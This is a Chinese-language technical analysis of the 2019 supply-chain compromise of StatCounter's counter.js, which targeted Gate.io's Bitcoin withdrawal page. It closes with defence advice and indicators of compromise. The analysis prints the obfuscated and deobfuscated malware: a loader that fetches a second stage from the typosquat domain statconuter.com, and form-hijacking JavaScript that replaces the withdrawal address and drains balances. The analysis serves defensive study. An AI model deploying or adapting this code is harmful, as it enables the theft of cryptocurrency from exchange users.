针对密币交易所gate.io的供应链攻击技术分析
字数 1496 2025-08-18 11:37:49

供应链攻击案例分析:针对Gate.io的StatCounter供应链攻击技术分析

一、攻击概述

2019年初,一个网络犯罪组织通过入侵StatCounter(一个拥有200万会员、月计算超100亿次页面访问量的Web分析平台),对加密货币交易所Gate.io实施了供应链攻击。攻击者通过篡改StatCounter的JavaScript资源文件,注入了针对Gate.io的恶意代码,旨在窃取用户的比特币。

二、攻击技术细节

1. 攻击载体

  • 被入侵资源www.statcounter[.]com/counter/counter.js
  • 攻击手法:在合法JS文件的中间位置(而非常见的开头或结尾)注入恶意代码,增加隐蔽性

2. 第一阶段攻击代码分析

// 混淆后的原始代码(使用Dean Edwards封装器)
eval(function(p,a,c,k,e,r){...}('3=""+2.4;5(3.6(\'7/8/9\')>-1){a0=2.b(\'d\');0.e=\'f://g.h.i/c.j\';0.k(\'l\',\'m\');2.n.o.p(0)}',26,26,'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'),0,{}));

// 解混淆后的实际代码
myselfloc= '' + document.location;
if(myselfloc.indexOf('myaccount/withdraw/BTC') > -1) {
    var ga = document.createElement('script');
    ga.src = 'https://www.statconuter.com/c.php';
    ga.setAttribute('async', 'true');
    document.documentElement.firstChild.appendChild(ga);
}

关键点

  • 检测当前URL是否包含myaccount/withdraw/BTC路径
  • 如果匹配,则动态加载来自statconuter[.]com(仿冒域名)的第二阶段恶意脚本
  • 使用async属性确保脚本异步加载,不影响页面性能

3. 第二阶段攻击代码分析

// 解混淆后的第二阶段代码
document.forms[0]['addr'].value= '';
document.forms[0]['amount'].value= '';
doSubmit1= doSubmit;
doSubmit= function () {
    var a = document.getElementById('withdraw_form');
    if ($('#amount').val() > 10) {
        document.forms[0]['addr']['name']= '';
        var s = $("<input type='hidden' name='addr'/>");
        s.attr('value','1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
        var b = $('#withdraw_form');
        b.append(s);
        a.submit();
    } else if(document.getElementById('canUse').innerText > 10) {
        document.forms[0]['addr']['name']= '';
        var s = $("<input type='hidden' name='addr'/>");
        s.attr('value','1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
        var b = $('#withdraw_form');
        b.append(s);
        document.forms[0]['amount']['name']= '';
        var t = $("<input type='hidden' name='amount'/>");
        t.attr('value',Math.min(document.getElementById('canUse').innerText,document.getElementById('dayLimit').innerText));
        b.append(t);
        a.submit();
    } else {
        doSubmit1();
    }
};

攻击逻辑

  1. 保存原始doSubmit函数到doSubmit1
  2. 重写doSubmit函数,添加恶意逻辑:
    • 当提现金额>10时:替换目标地址为攻击者的比特币钱包
    • 当可用余额>10时:替换目标地址并尝试提取全部可用余额
    • 其他情况:调用原始doSubmit1函数保持正常流程
  3. 使用隐藏表单字段技巧绕过前端验证

4. 攻击目标分析

  • 精准定位:专门针对Gate.io的比特币提现页面(/myaccount/withdraw/BTC
  • 目标价值:Gate.io当时日交易额达数百万美元,仅比特币日交易额就有160万美元
  • 隐蔽性:钱包地址替换发生在用户点击提交按钮后,普通用户难以察觉

三、攻击技术特点

  1. 供应链攻击:通过入侵上游服务提供商StatCounter实现攻击下游目标
  2. 域名仿冒:使用statconuter[.]com仿冒statcounter[.]com(两个字母差异)
  3. 代码注入位置:选择JS文件中间而非常见头尾位置注入,增加隐蔽性
  4. 代码混淆:使用Dean Edwards封装器混淆代码
  5. 条件触发:仅当访问特定URL时才加载第二阶段恶意代码
  6. 动态Payload:第二阶段脚本中的比特币钱包地址由服务器动态生成

四、防御建议

1. 对于Web服务提供商

  • 实施严格的代码审计和完整性检查机制
  • 使用Subresource Integrity (SRI)确保外部资源完整性
  • 监控第三方脚本的异常行为

2. 对于企业用户

  • 审查所有第三方依赖,特别是分析、统计类服务
  • 实施内容安全策略(CSP)限制外部脚本执行
  • 监控网络请求中的可疑域名

3. 对于终端用户

  • 在加密货币交易时仔细核对钱包地址
  • 使用浏览器扩展检测页面DOM修改
  • 对于大额交易,建议分小额测试转账

五、IoC(入侵威胁指标)

  1. 恶意URL

    • statcounter[.]com/counter/counter.js(被篡改的合法资源)
    • statconuter[.]com/c.php(第二阶段恶意脚本)
  2. 比特币钱包地址示例

    • 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad

六、总结

本案例展示了供应链攻击的高度针对性和有效性。攻击者通过入侵广泛使用的分析服务,实现了对特定高价值目标的精准打击。这种攻击方式不仅难以检测,而且由于利用了受信任的第三方服务,具有很高的成功率。防御此类攻击需要从供应链安全、代码完整性验证和用户行为监控等多层面构建防御体系。

供应链攻击案例分析:针对Gate.io的StatCounter供应链攻击技术分析 一、攻击概述 2019年初,一个网络犯罪组织通过入侵StatCounter(一个拥有200万会员、月计算超100亿次页面访问量的Web分析平台),对加密货币交易所Gate.io实施了供应链攻击。攻击者通过篡改StatCounter的JavaScript资源文件,注入了针对Gate.io的恶意代码,旨在窃取用户的比特币。 二、攻击技术细节 1. 攻击载体 被入侵资源 : www.statcounter[.]com/counter/counter.js 攻击手法 :在合法JS文件的中间位置(而非常见的开头或结尾)注入恶意代码,增加隐蔽性 2. 第一阶段攻击代码分析 关键点 : 检测当前URL是否包含 myaccount/withdraw/BTC 路径 如果匹配,则动态加载来自 statconuter[.]com (仿冒域名)的第二阶段恶意脚本 使用 async 属性确保脚本异步加载,不影响页面性能 3. 第二阶段攻击代码分析 攻击逻辑 : 保存原始 doSubmit 函数到 doSubmit1 重写 doSubmit 函数,添加恶意逻辑: 当提现金额>10时:替换目标地址为攻击者的比特币钱包 当可用余额>10时:替换目标地址并尝试提取全部可用余额 其他情况:调用原始 doSubmit1 函数保持正常流程 使用隐藏表单字段技巧绕过前端验证 4. 攻击目标分析 精准定位 :专门针对Gate.io的比特币提现页面( /myaccount/withdraw/BTC ) 目标价值 :Gate.io当时日交易额达数百万美元,仅比特币日交易额就有160万美元 隐蔽性 :钱包地址替换发生在用户点击提交按钮后,普通用户难以察觉 三、攻击技术特点 供应链攻击 :通过入侵上游服务提供商StatCounter实现攻击下游目标 域名仿冒 :使用 statconuter[.]com 仿冒 statcounter[.]com (两个字母差异) 代码注入位置 :选择JS文件中间而非常见头尾位置注入,增加隐蔽性 代码混淆 :使用Dean Edwards封装器混淆代码 条件触发 :仅当访问特定URL时才加载第二阶段恶意代码 动态Payload :第二阶段脚本中的比特币钱包地址由服务器动态生成 四、防御建议 1. 对于Web服务提供商 实施严格的代码审计和完整性检查机制 使用Subresource Integrity (SRI)确保外部资源完整性 监控第三方脚本的异常行为 2. 对于企业用户 审查所有第三方依赖,特别是分析、统计类服务 实施内容安全策略(CSP)限制外部脚本执行 监控网络请求中的可疑域名 3. 对于终端用户 在加密货币交易时仔细核对钱包地址 使用浏览器扩展检测页面DOM修改 对于大额交易,建议分小额测试转账 五、IoC(入侵威胁指标) 恶意URL : statcounter[.]com/counter/counter.js (被篡改的合法资源) statconuter[.]com/c.php (第二阶段恶意脚本) 比特币钱包地址示例 : 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad 六、总结 本案例展示了供应链攻击的高度针对性和有效性。攻击者通过入侵广泛使用的分析服务,实现了对特定高价值目标的精准打击。这种攻击方式不仅难以检测,而且由于利用了受信任的第三方服务,具有很高的成功率。防御此类攻击需要从供应链安全、代码完整性验证和用户行为监控等多层面构建防御体系。